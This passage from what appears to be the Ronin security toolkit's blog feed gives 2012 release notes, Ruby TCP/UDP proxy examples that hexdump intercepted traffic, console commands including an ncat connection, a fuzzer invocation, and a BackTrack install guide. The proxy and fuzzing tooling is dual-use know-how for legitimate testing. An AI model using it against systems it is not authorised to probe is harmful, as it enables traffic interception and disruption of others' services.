    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;lt;- &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; [disconnected]&amp;quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_server_data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;lt;- &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_server_connect&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;lt;- &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; [connected]&amp;quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_server_disconnect&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;lt;- &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; [disconnected]&amp;quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;ronin/network/udp/proxy&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;hexdump&amp;#39;&lt;/span&gt;

&lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Network&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;UDP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1337&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:server&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;4.2.2.1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;53&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Hexdump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Dumper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_client_data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; -&amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_server_data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;lt;- &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Console Commands&lt;/h3&gt;

&lt;p&gt;In ronin 1.5.0, one can now embed variables into shell commands:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; !ncat #{ip} #{port}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Special Console commands (&lt;code&gt;edit&lt;/code&gt;) have been separated from shell
commands (&lt;code&gt;!netstat -an&lt;/code&gt;) and are now prefixed with a &lt;code&gt;.&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; .edit
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;ronin net:proxy&lt;/h3&gt;

&lt;p&gt;Building on &lt;a href=&quot;/docs/ronin-support/Ronin/Network/TCP/Proxy.html&quot;&gt;Network::TCP::Proxy&lt;/a&gt; and &lt;a href=&quot;/docs/ronin-support/Ronin/Network/UDP/Proxy.html&quot;&gt;Network::UDP::Proxy&lt;/a&gt;, the &lt;a href=&quot;/docs/ronin/Ronin/UI/CLI/Commands/Net/Proxy.html&quot;&gt;net:proxy&lt;/a&gt;
command was added to ronin 1.5.0 for quick proxying.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ronin net:proxy --port 8080 --server google.com:80
$ ronin net:proxy --port 53 --server 4.2.2.1 --udp --hexdump
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;ronin fuzzer&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;/docs/ronin/Ronin/UI/CLI/Commands/Fuzzer.html&quot;&gt;fuzzer&lt;/a&gt; command was also added to ronin 1.5.0, for quick and dirty fuzzing
of files, commands, TCP/UDP Services.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ronin fuzzer -i request.txt -o bad.txt -r unix_path:bad_strings
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Man pages&lt;/h3&gt;

&lt;p&gt;Ronin 1.5.0 now sports professional man-pages for every command. The man-pages
are viewed using the &lt;code&gt;ronin help&lt;/code&gt; command.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ronin-help wordlist
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Update&lt;/h2&gt;

&lt;p&gt;Due to a few minor bugs that slipped past QA, &lt;a href=&quot;/docs/ronin-support/file.ChangeLog.html&quot;&gt;ronin-support 0.5.1&lt;/a&gt; has been
released:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ gem update ronin-support
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://rubygems.org/downloads/ronin-support-0.5.1.gem&quot;&gt;ronin-support-0.5.1.gem&lt;/a&gt;:

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5&lt;/strong&gt;: &lt;code&gt;4e7a07c174d27f8f2c33f43002357ab3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA1&lt;/strong&gt;: &lt;code&gt;1a5f5580b0e7b76e5271e60db30d17bc6702b61a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/downloads/ronin-ruby/ronin-support/ronin-support-0.5.1.gem.asc&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

</content>
  </entry>
  
  <entry>
    <title>ronin-support 0.5.0.rc2, ronin 1.5.0.rc2, ronin-gen 1.2.0.rc2 released</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2012/06/07/ronin-1.5.0-rc2-released.html" />
    <updated>Thu Jun 07 00:00:00 -0700 2012</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2012/06/07/ronin-1.5.0-rc2-released.html</id>
    <content type="html">&lt;p&gt;&lt;a href=&quot;http://rubygems.org/gems/ronin-support/versions/0.5.0.rc2&quot;&gt;ronin-support 0.5.0.rc2&lt;/a&gt;, &lt;a href=&quot;http://rubygems.org/gems/ronin/versions/1.5.0.rc2&quot;&gt;ronin 1.5.0.rc2&lt;/a&gt; and &lt;a href=&quot;http://rubygems.org/gems/ronin-gen/versions/1.2.0.rc2&quot;&gt;ronin-gen 1.2.0.rc2&lt;/a&gt;
have been released.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ gem install ronin-support ronin ronin-gen --pre
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Checksums&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ronin-support-0.5.0.rc2.gem&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5:&lt;/strong&gt; &lt;code&gt;f6e8039f25723612ffc634d1c6ca0854&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA1:&lt;/strong&gt; &lt;code&gt;14df56b762b4a8a2439551e638b76c9a6375adde&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/downloads/ronin-ruby/ronin-support/ronin-support-0.5.0.rc2.gem.asc&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ronin-1.5.0.rc2.gem&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5:&lt;/strong&gt; &lt;code&gt;95746681d6cdbfd385bed63b43166b5f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA1:&lt;/strong&gt; &lt;code&gt;edc5e60fa415843f882802c8ef059ee37a8dd49e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/downloads/ronin-ruby/ronin/ronin-1.5.0.rc2.gem.asc&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ronin-gen-1.2.0.rc2.gem&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5:&lt;/strong&gt; &lt;code&gt;8bd309dccb32e585f0c2e585bb7ab29d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA1:&lt;/strong&gt; &lt;code&gt;ecc6efba1c674de73ea649b1051d76077c91ea44&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/downloads/ronin-ruby/ronin-gen/ronin-gen-1.2.0.rc2.gem.asc&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;ChangeLogs&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/ChangeLog.md#050--2012-05-28&quot;&gt;ronin-support 0.5.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin/blob/1.5.0/ChangeLog.md#150--2012-05-28&quot;&gt;ronin 1.5.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-gen/blob/1.2.0/ChangeLog.md#120--2012-05-28&quot;&gt;ronin-gen 1.2.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;How Can You Help?&lt;/h3&gt;

&lt;p&gt;We would love your help testing these release candidates.
Here are some things you can do:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Install the Gems:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; $ gem install ronin-support ronin ronin-gen --pre
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Test the new code, such as &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/lib/ronin/formatting/extensions/binary/integer.rb#L90-127&quot;&gt;Integer#pack&lt;/a&gt;, &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/lib/ronin/formatting/extensions/binary/float.rb#L24-49&quot;&gt;Float#pack&lt;/a&gt;, &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/lib/ronin/formatting/extensions/binary/array.rb#L26-51&quot;&gt;Array#pack&lt;/a&gt;,
&lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/lib/ronin/formatting/extensions/binary/array.rb#L26-51&quot;&gt;String#unpack&lt;/a&gt;, &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/lib/ronin/binary/struct.rb#L26-49&quot;&gt;Ronin::Binary::Struct&lt;/a&gt;, &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/lib/ronin/network/tcp/proxy.rb#L27-76&quot;&gt;Ronin::Network::TCP::Proxy&lt;/a&gt;
(&lt;a href=&quot;https://gist.github.com/2657303&quot;&gt;example&lt;/a&gt;) and &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/0.5.0/lib/ronin/network/udp/proxy.rb#L30&quot;&gt;Ronin::Network::UDP::Proxy&lt;/a&gt; (&lt;a href=&quot;https://gist.github.com/2919927&quot;&gt;example&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;Test the new commands, such as &lt;a href=&quot;https://github.com/ronin-ruby/ronin/blob/1.5.0/lib/ronin/ui/cli/commands/net/proxy.rb#L31-75&quot;&gt;ronin-net-proxy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Review the new man-pages.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; $ ronin-help wordlist
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Review the documentation:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; $ yard server -g -d
 $ $BROWSER http://localhost:8808/docs/ronin-support/0.5.0.rc2/frames
 $ $BROWSER http://localhost:8808/docs/ronin/1.5.0.rc2/frames
 $ $BROWSER http://localhost:8808/docs/ronin-gen/1.2.0.rc2/frames
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

</content>
  </entry>
  
  <entry>
    <title>Installing Ronin on BackTrack Linux 5r2</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2012/04/19/installing-ronin-on-backtrack-linux.html" />
    <updated>Thu Apr 19 00:00:00 -0700 2012</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2012/04/19/installing-ronin-on-backtrack-linux.html</id>
    <content type="html">&lt;p&gt;&lt;a href=&quot;http://www.backtrack-linux.org/&quot;&gt;BackTrack Linux&lt;/a&gt; 5r2 was &lt;a href=&quot;http://www.backtrack-linux.org/backtrack/backtrack-5-r2-released/&quot;&gt;released&lt;/a&gt; on March 1st, and ships with
newer versions of just about everything. So I thought it was high time that
we did a blog post on howto install Ronin on BackTrack Linux (BT) 5.&lt;/p&gt;

&lt;p&gt;What is particularly nice about BT 5, is it ships with Ruby 1.9.2 and a few
common RubyGems (&lt;code&gt;bundler&lt;/code&gt;, &lt;code&gt;rails&lt;/code&gt;, etc). Also, the few libraries/header-files
which Ronin needs for installation (particularly &lt;code&gt;libsqlite3&lt;/code&gt;)
were already installed. This made installing Ronin on BT 5 as simple as:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;gem install ronin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will install Ronin and drop the &lt;code&gt;ronin&lt;/code&gt; executable into
&lt;code&gt;/etc/alternatives/gem-bin/&lt;/code&gt;. Now you should be able to start the Ronin console:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# ronin
&amp;gt;&amp;gt; VERSION
=&amp;gt; &quot;1.4.1&quot;
&amp;gt;&amp;gt; !uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
=&amp;gt; true
&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  
  <entry>
    <title>Parsing URIs is easy</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2012/03/15/parsing-uris-is-easy.html" />
    <updated>Thu Mar 15 00:00:00 -0700 2012</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2012/03/15/parsing-uris-is-easy.html</id>
    <content type="html">&lt;p&gt;Despite what others may &lt;a href=&quot;https://community.rapid7.com/community/metasploit/blog/2012/03/12/uri-parsing-its-harder-than-you-think&quot;&gt;say&lt;/a&gt;, parsing URIs is &lt;em&gt;not&lt;/em&gt; hard.&lt;/p&gt;

&lt;p&gt;In fact, Ruby already makes parsing URIs fairly easy with the &lt;code&gt;URI()&lt;/code&gt; method.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;uri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;http://www.google.com/search?q=parsing+URIs+is+hard%2C+let%27s+go+shopping&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:unofficial&amp;amp;client=firefox-a&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;URI::HTTP:0x00000000f94188 URL:http://www.google.com/search?q=parsing+URIs+is+hard%2C+let%27s+go+shopping&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:unofficial&amp;amp;client=firefox-a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Query Params&lt;/h2&gt;

&lt;p&gt;Although, the &lt;a href=&quot;http://rubydoc.info/stdlib/uri&quot;&gt;URI&lt;/a&gt; library does not parse the parameters within the query
string. Ronin, like other modern Ruby projects, depends on many other smaller
&lt;a href=&quot;http://rubygems.org/&quot;&gt;RubyGems&lt;/a&gt; for functionality; also so you don't have to install and require
them by hand. One such RubyGem is &lt;a href=&quot;https://github.com/postmodern/uri-query_params#readme&quot;&gt;uri-query_params&lt;/a&gt;, which allows you to
access the parameters within the query string of &lt;em&gt;any&lt;/em&gt; &lt;a href=&quot;http://rubydoc.info/stdlib/uri/1.9.2/URI/HTTP&quot;&gt;URI::HTTP&lt;/a&gt;
(or &lt;a href=&quot;http://rubydoc.info/stdlib/uri/1.9.2/URI/HTTPS&quot;&gt;URI::HTTPS&lt;/a&gt;) object:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query_params&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;q&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;parsing+URIs+is+hard,+let&amp;#39;s+go+shopping&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pp&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query_params&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# {&amp;quot;q&amp;quot;=&amp;gt;&amp;quot;parsing+URIs+is+hard,+let&amp;#39;s+go+shopping&amp;quot;,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#  &amp;quot;ie&amp;quot;=&amp;gt;&amp;quot;utf-8&amp;quot;,&lt;/span&gt;
